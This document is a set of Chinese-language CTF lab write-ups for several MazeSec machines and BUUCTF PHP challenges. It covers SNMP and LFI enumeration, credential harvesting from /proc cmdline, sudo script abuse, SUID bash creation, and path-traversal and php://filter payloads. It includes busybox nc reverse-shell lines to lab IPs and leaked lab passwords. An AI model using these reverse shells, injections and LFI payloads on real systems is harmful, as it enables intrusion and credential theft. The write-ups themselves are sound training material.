  1. 触发 Payload: 再次执行 sudo 命令。由于当前目录是 /home/tuf,Bash 能够找到并执行相对路径 https://maze-sec.com/x
1
sudo /opt/112.sh    
  1. 获取 Root 权限: 检查 /tmp/bash 是否生成且具有 SUID 权限
1
2
ls -la /tmp/bash  
-rwsr-sr-x 1 root root ... /tmp/bash

使用 SUID bash 读取 root flag:

1
/tmp/bash -p -c "cat /root/root.txt"

Flag: flag{root-538dc127225a0c97b060b1ff9570390a}

方案二

前面新建文件夹一样,x内容可以用nc

1
2
3
4
$ cat https://maze-sec.com/x
#!/bin/bash 
busybox nc 192.168.3.4 1111 -e /bin/bash
$ chmod +x https:/maze-sec.com/x
1
2
3
4
5
6
7
8
cd /root
ls
112112.txt
root.txt
cat 112112.txt
OArZQcW05k5QmPX8lKQ7
cat root.txt
flag{root-538dc127225a0c97b060b1ff9570390a}

1.信息收集

看到提示The quieter you become, the more you are able to hear. ,推测udp

1
2
3
4
5
6
7
8
9
☁  113  nmap -sU --top-ports 100 192.168.43.218
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-19 10:39 CST
Nmap scan report for 113 (192.168.43.218)
Host is up (0.00053s latency).
Not shown: 98 closed udp ports (port-unreach)
PORT STATE SERVICE
68/udp open|filtered dhcpc
161/udp open snmp
MAC Address: 08:00:27:1E:57:A4 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

发现开发端口161 snmp

snmpwalk

1
2
3
4
☁  113  snmpwalk -c public -v 2c 192.168.43.218
......
iso.3.6.1.2.1.25.4.2.1.4.339 = STRING: "service --user welcome --password mMOq2WWONQiiY8TinSRF --host localhost --port 8080"
·······

发现有用的信息user: welcome pass: mMOq2WWONQiiY8TinSRF

2.ssh

找到user.flag

1
2
welcome@113:~$ cat user.txt 
flag{user-21539141ad1bc8ab9d26420aecb2415b}

3.提权

sudo -l

1
2
3
4
5
6
7
8
welcome@113:~$ sudo -l
Matching Defaults entries for welcome on 113:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User welcome may run the following commands on 113:
(ALL) NOPASSWD: /opt/113.sh
welcome@113:~$ ls -l /opt/113.sh
-rwxr-xr-x 1 root root 280 Jan 14 08:35 /opt/113.sh

cat一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/bin/bash  # 声明脚本解释器为bash

sandbox=$(mktemp -d) # 创建一个临时目录(默认在/tmp下,格式为/tmp/tmp.XXXXXX),并将路径赋值给sandbox变量
cd $sandbox # 进入该临时目录,构建一个简易沙箱环境

if [ "$#" -ne 3 ];then # 检查传入脚本的参数个数是否为3个
exit # 不是3个参数则直接退出,无任何输出
fi

if [ "$3" != "mazesec" ] # 检查第3个参数是否严格等于字符串"mazesec"
then
echo "\$3 must be mazesec" # 不等于则输出提示信息
exit # 退出脚本
else
/bin/cp /usr/bin/mazesec $sandbox # 满足条件:将系统中的/usr/bin/mazesec复制到临时沙箱目录
exec_="$sandbox/mazesec" # 定义exec_变量,指向沙箱中的mazesec程序路径
fi

if [ "$1" = "exec_" ];then # 检查第1个参数是否严格等于字符串"exec_"
exit # 等于则直接退出,禁止将$1设为exec_
fi

declare -- "$1"="$2" # 核心命令:将第1个参数作为「变量名」,第2个参数作为「变量值」,完成变量赋值
$exec_ # 执行沙箱中的mazesec程序(即$exec_变量指向的路径)

脚本核心逻辑总结

  1. 入参要求:必须传入 3 个参数,且第 3 个参数固定为mazesec
  2. 沙箱构建:创建临时目录并复制mazesec程序到沙箱;
  3. 变量限制:禁止将第 1 个参数设为exec_(防止直接覆盖exec_变量);
  4. 变量赋值:用户可控变量名($1)和变量值($2),最后执行沙箱中的mazesec

绕过

脚本逻辑中存在变量覆盖漏洞。 关键点在于 declare -- "$1"="$2" 和随后的 $exec_ 执行。 虽然脚本检查了 $1 是否等于 exec_,但我们可以利用 Bash 的数组语法绕过检查。 在 Bash 中,exec_ 等同于 exec_[0]。如果我们传递 $1exec_[0],就能绕过字符串检查,并覆盖 exec_ 变量的值。

1
welcome@113:~$ sudo /opt/113.sh  exec_[0]  'busybox nc 192.168.43.210 1111 -e /bin/bash' mazesec
1
2
3
4
cat 113rootpass.txt
9R3dosCkcEA3OQIzCoYO
cat root.txt
flag{root-9f283fe2f6363f99f80ed7f3f3c3cb19}

1.信息收集

gobuster

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
☁  ~  gobuster dir -u http://192.168.43.201 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  -x php,html,txt,zip
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.43.201
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8
[+] Extensions: html,txt,zip,php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html (Status: 200) [Size: 615]
/file.php (Status: 500) [Size: 0]

ffuf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
☁  ~  ffuf -u http://192.168.43.201/file.php\?FUZZ\=/etc/passwd -w /usr/share/wordlists/dirb/common.txt -fs 0

/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

v2.1.0-dev
________________________________________________

:: Method : GET
:: URL : http://192.168.43.201/file.php?FUZZ=/etc/passwd
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/common.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 0
________________________________________________

file [Status: 200, Size: 1394, Words: 13, Lines: 27, Duration: 37ms]

https://www.doubao.com/thread/w2d78f4eb7cbde317 ffuf介绍

或者使用wfuzz

1
2
# -t 指定并发数(默认 10,可适当调高),-d 增加 0.1 秒延迟避免拦截 
wfuzz -z file,/usr/share/wordlists/dirb/common.txt -hh 0 --hc 404,403 -t 20 -d 0.1 "http://192.168.43.201/file.php?FUZZ=/etc/passwd"

LFI (本地文件包含) 验证:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
curl http://192.168.43.201/file.php\?file\=/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
welcome:x:1000:1000:,,,:/home/welcome:/bin/bash

发现welcome用户

1
2
curl -l http://192.168.43.201/file.php\?file\=/home/welcome/user.txt
flag{user-210f652e7e3b7e7359e523ef04e96295}

2.获取用户密码

2.1方法一

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
# 导入requests库,用于发送HTTP请求
import requests

# 目标URL:存在LFI漏洞的文件(注意这里是fi1e.php,可能是file.php的笔误)
url = "http://192.168.43.201/file.php"

# 打印当前操作的提示信息
print("[*] Brute-forcing /proc/PID/cmdline to find hidden processes...")

# 遍历PID范围:扫描前3000个进程ID(Linux系统中进程ID从1开始,系统服务通常在低PID范围)
for pid in range(1, 3001):

# 构造Linux /proc文件系统中,对应PID的进程命令行文件路径
# /proc/PID/cmdline:存储对应PID进程的启动命令行参数
file_path = f"/proc/{pid}/cmdline"

# 构造LFI漏洞的参数:通过"file"参数传入要包含的文件路径(利用目标的LFI漏洞)
params = {'file': file_path}

try:
# 发送GET请求:传入目标URL、参数,超时时间1秒(避免请求卡住)
r = requests.get(url, params=params, timeout=1)

# 过滤条件1:只处理响应内容长度>0的请求(排除空响应的无效进程)
if len(r.content) > 0:

# 处理/proc/PID/cmdline的特殊格式:该文件中进程参数用\x00(空字符)分隔
# 把空字符替换为空格,再解码为UTF-8字符串(ignore忽略无法解码的字符)
cmd = r.content.replace(b'\x00', b' ').decode('utf-8', errors='ignore')

# 定义“无用/常见系统进程”列表:过滤掉这些进程,只显示不常见的(可能是隐藏进程)
useless = ["/sbin/init", "systemd", "kworker", "scsi", "usb", "xfs", "ext4"]

# 过滤条件2:如果进程命令行中不包含useless里的任何关键词
if not any(x in cmd for x in useless):

# 打印找到的“非常见进程”:PID + 进程命令行
print(f"[PID {pid}] {cmd}")

# 捕获请求过程中的异常(如超时、连接失败等),直接跳过(不中断循环)
except Exception as e:
pass

[!NOTE] 代码整体功能解释
这段代码是利用 LFI(本地文件包含)漏洞,扫描 Linux 服务器的隐藏进程,核心原理是:

  1. Linux 系统的/proc是一个虚拟文件系统,其中/proc/[PID]/cmdline文件会存储对应 PID 进程的启动命令行参数(比如进程是怎么启动的、带了什么参数);
  2. 目标fi1e.php存在 LFI 漏洞(可通过file参数包含任意本地文件);
  3. 代码通过遍历 PID(1 到 3000),构造/proc/PID/cmdline路径,利用 LFI 漏洞读取这些文件,过滤掉常见系统进程后,显示可能的隐藏 / 恶意进程(比如攻击者植入的后门进程)。

https://www.doubao.com/thread/wc855adec2cf23385

[!Success] Title

关键模块详解

  1. /proc/PID/cmdline的作用:Linux 的/proc目录是 “进程信息虚拟目录”,每个运行的进程对应一个以 PID 命名的子目录,其中cmdline文件记录了进程的启动命令(比如/usr/bin/nginx -c /etc/nginx/nginx.conf)。
  2. replace(b'\x00', b' ')的原因/proc/PID/cmdline中,进程的命令和参数是用 ** 空字符(\x00)** 分隔的(比如/bin/bash\x00-c\x00echo hello),直接显示会有乱码,所以替换为空格方便阅读。

运行结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
[*] Brute-forcing /proc/PID/cmdline to find hidden processes...
[PID 328] /usr/sbin/cron -f
[PID 330] service --user welcome --password 6WXqj9Vc2tdXQ3TN0z54 --host localhost --port 8080 infinity
[PID 335] /usr/sbin/rsyslogd -n -iNONE
[PID 343] /sbin/dhclient -4 -v -i -pf /run/dhclient.enp0s3.pid -lf /var/lib/dhcp/dhclient.enp0s3.leases -I -df /var/lib/dhcp/dhclient6.enp0s3.leases enp0s3
[PID 345] /usr/sbin/rsyslogd -n -iNONE
[PID 346] /usr/sbin/rsyslogd -n -iNONE
[PID 347] /usr/sbin/rsyslogd -n -iNONE
[PID 354] /sbin/agetty -o -p -- \u --noclear tty1 linux
[PID 378] sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
[PID 421] /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-signal
[PID 434] /usr/sbin/apache2 -k start
[PID 438] /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-signal
[PID 500] /usr/sbin/apache2 -k start
[PID 583] /usr/sbin/apache2 -k start
[PID 586] /usr/sbin/apache2 -k start
[PID 591] /usr/sbin/apache2 -k start
[PID 596] /usr/sbin/apache2 -k start
[PID 644] /usr/sbin/apache2 -k start
[PID 647] /usr/sbin/apache2 -k start
[PID 652] /usr/sbin/apache2 -k start
[PID 653] /usr/sbin/apache2 -k start
[PID 656] /usr/sbin/apache2 -k start

user:welcome pass: 6WXqj9Vc2tdXQ3TN0z54

2.2方法二

利用burp

1
2
3
4
5
6
7
8
9
10
11
12
GET /file.php?file=../../../../proc/§1§/cmdline HTTP/1.1
Host: 192.168.43.201
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:147.0) Gecko/20100101 Firefox/147.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: metabase.DEVICE=4f1a458f-da94-4203-b012-2fda8e9ba776; _ga=GA1.1.653680607.1768373507; metabase.TIMEOUT=alive; metabase.SESSION=4cb61d11-f4cc-463c-89b2-97063ce5f03b
Upgrade-Insecure-Requests: 1
If-Modified-Since: Fri, 16 Jan 2026 23:50:00 GMT
If-None-Match: "267-64889ffd754bc-gzip"
Priority: u=0, i

payload

结果

3.提权

sudo -l

1
2
3
4
5
6
7
welcome@114:~$ sudo -l
Matching Defaults entries for welcome on 114:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User welcome may run the following commands on 114:
(ALL) NOPASSWD: /opt/read.sh
(ALL) NOPASSWD: /opt/short.sh
1
2
3
4
5
6
7
8
9
10
welcome@114:~$ cat /opt/read.sh
#!/bin/bash

echo "Input the flag:"
if head -1 | grep -q "$(< /root/root.txt)"
then
echo "Y"
else
echo "N"
fi
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
welcome@114:~$ cat /opt/short.sh
#!/bin/bash

PATH=/usr/bin
My_guess=$RANDOM

echo "This is script logic"
cat << EOF
if [ "$1" != "$My_guess" ] ;then
echo "Nop";
else
bash -i;
fi
EOF

[ "$1" != "$My_guess" ] && echo "Nop" || bash -i

提权方法一

一种群主提供的方法

1
sudo /opt/short.sh '1' >&-

这里的核心在于末尾的 >&-。在 Linux Shell 中, >&- 的意思是 关闭标准输出 (Close Standard Output / STDOUT)。
/opt/short.sh 的最后一行代码:

1
[ "$1" != "$My_guess" ] && echo "Nop" || bash -i

这是一个典型的 A && B || C 逻辑结构:

  1. A: [ “1”!=”my_guess” ](判断猜测是否错误)
  2. B: echo “Nop”(输出失败提示)
  3. C: bash -i(开启 Root Shell)

正常情况(不加 >&-):

  1. 你输入 ‘1’,随机数是(例如)24543。
  2. A 判断成立(不相等)。
  3. 执行 B(echo “Nop”)。echo 成功把 “Nop” 打印到屏幕上,返回状态码 0 (Success)。
  4. 因为 B 成功了,根据 && … || 的逻辑,C(bash -i)被跳过。
  5. 脚本结束。

加了 >&-:

  1. 你输入 ‘1’,随机数是 24543。
  2. A 判断成立。
  3. 执行 B(echo “Nop”)。
    • 关键点:此时标准输出(STDOUT)已经被你关闭了。
    • echo 尝试往一个已关闭的文件描述符里写字。
    • echo 报错失败!(虽然你看不到报错,因为输出关了,但它的返回状态码变成了 1 或其他非零值)。
  4. 因为 B 失败了,Shell 会继续寻找下一个逻辑分支。
  5. 逻辑变成了: A (真) && B (失败) || C 。
  6. 触发 || 分支,执行 C ( bash -i
  7. Boom! Root Shell 启动!
    标准输出关掉了,需要恢复完整shell
1
/bin/bash -i >&2 2>&2

执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
welcome@114:~$ sudo /opt/short.sh '1' >&-
/opt/short.sh: line 6: echo: write error: Bad file descriptor
cat: write error: Bad file descriptor
/opt/short.sh: line 15: echo: write error: Bad file descriptor
root@114:/home/welcome# id
id: write error: Bad file descriptor
root@114:/home/welcome# /bin/bash -i >&2 2>&2
root@114:/home/welcome# id
uid=0(root) gid=0(root) groups=0(root)
root@114:/home/welcome# ls
user.txt
root@114:/home/welcome# cd /root
root@114:~# ls
114rrootpass.txt root.txt
root@114:~# cat root.txt
flag{root-c3dbe270140775bb9fc6eaa2559f914f}
root@114:~# cat 114rrootpass.txt
6aq56zxVseLt7oApVBc1

==另一种重定向到 /dev/full 成功提权==

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
welcome@114:~$ sudo /opt/short.sh 0 >/dev/full

/opt/short.sh: line 6: echo: write error: No space left on device

cat: write error: No space left on device

/opt/short.sh: line 15: echo: write error: No space left on device

root@114:/home/welcome# ls

ls: write error: No space left on device

root@114:/home/welcome# id

id: write error: No space left on device

root@114:/home/welcome# exec 1>/dev/tty

root@114:/home/welcome# ls

exp.sh user.txt

提权方法二

写爆破脚本撞大运拿shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/bin/bash

# 1. 修复终端设置,防止之前操作导致的乱码或回显丢失

stty sane

echo "[-] 正在启动爆破..."

echo "[-] 过滤规则:屏蔽 'Nop' 和脚本逻辑文本"

echo "[-] 状态提示:当屏幕停止滚动,或出现 '#' 提示符时,说明已拿到 Root Shell!"

echo "[-] 注意:如果看起来卡住了,请尝试直接输入 'id' 并回车。"

echo "=========================================================="

# 2. 循环爆破 0 - 33000

for i in {0..33000}; do

# 核心命令解释:

# sudo /opt/short.sh $i : 尝试猜测数字

# 2>/dev/null : 屏蔽错误输出

# grep --line-buffered : 关键参数!强制 grep 按行输出,不缓存。# 这样一旦拿到 Shell,你的输入回显能立刻显示出来,不会"卡死"。

sudo /opt/short.sh $i 2>/dev/null | grep --line-buffered -v "Nop\|script

logic\|if \["

# 逻辑:

# 如果没猜对 -> 输出 Nop -> 被 grep 过滤 -> 屏幕无显示 -> 循环继续

# 如果猜对了 -> 启动 bash -i -> grep 放行 shell 的输出 -> 你接管终端

done

CTF - PHP代码审计 WarmUp 题解

题目信息

解题步骤

1. 查看源代码

访问 source.php,可以看到PHP源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

2. 获取Hint提示

访问 hint.php 获取提示:

1
curl -s "http://c7273dac-491b-4046-88a6-fafcec0b76fa.node5.buuoj.cn:81/hint.php"

返回结果: flag not here, and flag in ffffllllaaaagggg

得知flag位于 ffffllllaaaagggg 文件中。

3. 代码分析

漏洞类型: 本地文件包含(LFI) + 白名单绕过

关键代码分析:

  1. 白名单检查: 只允许 source.phphint.php
  2. 三次检查机制:
    • 第一次: 直接检查 $page 是否在白名单中
    • 第二次: 截取 $page? 之前的部分检查
    • 第三次: 对 $page 进行 urldecode 后,再截取 ? 之前的部分检查
  3. 文件包含: 如果通过检查,会执行 include $_REQUEST['file']

漏洞点:

  • 虽然检查了 ? 之前的部分是否在白名单中
  • 但实际包含的是完整的 $_REQUEST['file']
  • 可以利用 source.php?/../../../../ffffllllaaaagggg 来绕过

4. 构造Payload

需要利用双编码绕过:

  • ? 的URL编码是 %3f
  • 但浏览器会自动解码一次,所以需要双重编码:%253f

Payload构造:

1
source.php%3f/../../../../ffffllllaaaagggg

5. 获取Flag

1
curl -s "http://c7273dac-491b-4046-88a6-fafcec0b76fa.node5.buuoj.cn:81/source.php?file=source.php%3f/../../../../ffffllllaaaagggg"

返回结果:

1
flag{fa32add5-b1d6-4818-b1b4-de37734b9d99}

知识点总结

1. PHP文件包含漏洞

  • includerequire 函数可以包含本地或远程文件
  • 当用户可控参数被直接用于文件包含时,存在安全风险

2. 白名单绕过技巧

  • 截断绕过: 利用 ? # 等特殊字符截断文件名
  • 路径遍历: 使用 ../..\ 访问上级目录
  • 编码绕过: 利用URL编码、双重URL编码等

3. mb_substr 和 mb_strpos 函数

1
2
mb_substr($str, $start, $length)  // 截取多字节字符串
mb_strpos($haystack, $needle) // 查找多字节字符串位置

4. URL编码原理

  • %3f = ?
  • %25 = %
  • 双重编码: %253f → 第一次解码为 %3f → 第二次解码为 ?

5. 目录遍历

1
2
3
4
./          当前目录
../ 上级目录
../../ 上两级目录
../../../../ffffllllaaaagggg 向上回溯4级后访问目标文件

防御措施

  1. 严格白名单: 只允许特定文件,不使用部分匹配
  2. 路径规范化: 使用 realpath() 函数获取真实路径
  3. 禁止用户输入: 避免用户可控参数直接用于文件包含
  4. open_basedir: 设置PHP只能访问指定目录

Flag: flag{fa32add5-b1d6-4818-b1b4-de37734b9d99}

Secret File - PHP文件包含漏洞

题目信息

解题过程

第一步:信息收集

首先访问主页,发现是一个简单的页面,提示”你想知道蒋璐源的秘密么?”

1
curl -s http://a199f39c-ee58-4448-8be1-a518f3f98964.node5.buuoj.cn:81/

查看页面源代码,发现有一个隐藏的链接指向 ./Archive_room.php

第二步:探索隐藏链接

访问 Archive_room.php,发现有一个SECRET按钮,链接到 action.php

1
curl -s http://a199f39c-ee58-4448-8be1-a518f3f98964.node5.buuoj.cn:81/Archive_room.php

第三步:发现源码泄露

访问 action.php 时,虽然页面会302跳转到 end.php,但查看源代码发现了关键线索:

1
curl -s http://a199f39c-ee58-4448-8be1-a518f3f98964.node5.buuoj.cn:81/action.php

返回的HTML注释中暴露了 secr3t.php

1
2
3
<!--
secr3t.php
-->

第四步:获取关键源码

访问 secr3t.php,获得了关键源码:

1
curl -s http://a199f39c-ee58-4448-8be1-a518f3f98964.node5.buuoj.cn:81/secr3t.php
1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>

第五步:利用文件包含漏洞

源码中存在文件包含漏洞,过滤了以下内容:

  • ../ - 目录遍历
  • tp - 阻止 php:// 协议
  • input - 阻止 php://input
  • data - 阻止 data:// 协议

绕过方法:使用 php://filter 伪协议读取文件(注意php://filter不包含被过滤的字符串)

1
curl -s "http://a199f39c-ee58-4448-8be1-a518f3f98964.node5.buuoj.cn:81/secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php"

返回base64编码的flag.php源码:

1
PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4K...(省略)

第六步:解码获取Flag

1
echo 'PCFET0NUWVBFIGh0bWw+...' | base64 -d

解码后得到flag.php的完整源码,其中包含:

1
$flag = 'flag{1ff51255-f733-4b89-8dbc-98cae1493181}';

最终Flag

1
flag{1ff51255-f733-4b89-8dbc-98cae1493181}

知识点总结

1. PHP文件包含漏洞 (LFI/RFI)

  • LFI (Local File Inclusion): 本地文件包含,可以读取服务器上的任意文件
  • RFI (Remote File Inclusion): 远程文件包含,可以包含远程服务器上的文件(需要allow_url_include开启)

2. PHP伪协议

  • php://filter: 用于读取和过滤数据流

    • read=convert.base64-encode: 将文件内容base64编码后输出
    • resource=文件名: 指定要读取的文件

    示例:

    1
    php://filter/read=convert.base64-encode/resource=flag.php
  • php://input: 可以访问原始的POST数据

  • data://: 可以执行内嵌的PHP代码

3. 常见过滤绕过

过滤字符串 绕过方法
../ ....//..%2f..%2f%2e%2e/
php:// 使用 php://filter(不含被过滤字符时)
data 使用其他协议

4. 信息收集技巧

  • 查看页面源代码(隐藏链接、注释信息)
  • 查看HTTP响应头(可能暴露版本信息)
  • 访问常见文件(robots.txt、.git、.svn等)
  • 使用Burp Suite等工具拦截请求

5. 常用命令

1
2
3
4
5
6
7
8
9
10
11
# 查看页面内容
curl -s URL

# 查看HTTP响应头
curl -sI URL

# Base64解码
echo 'base64字符串' | base64 -d

# URL编码
echo -n '../' | xxd -plain | tr -d '\n' | sed 's/../%&/g'

防御措施

  1. 避免直接使用用户输入作为文件包含的参数
  2. 使用白名单机制,只允许包含指定的文件
  3. 关闭危险配置:allow_url_include = Off
  4. 使用realpath()函数验证文件路径
  5. 对输入进行严格的过滤和验证

参考链接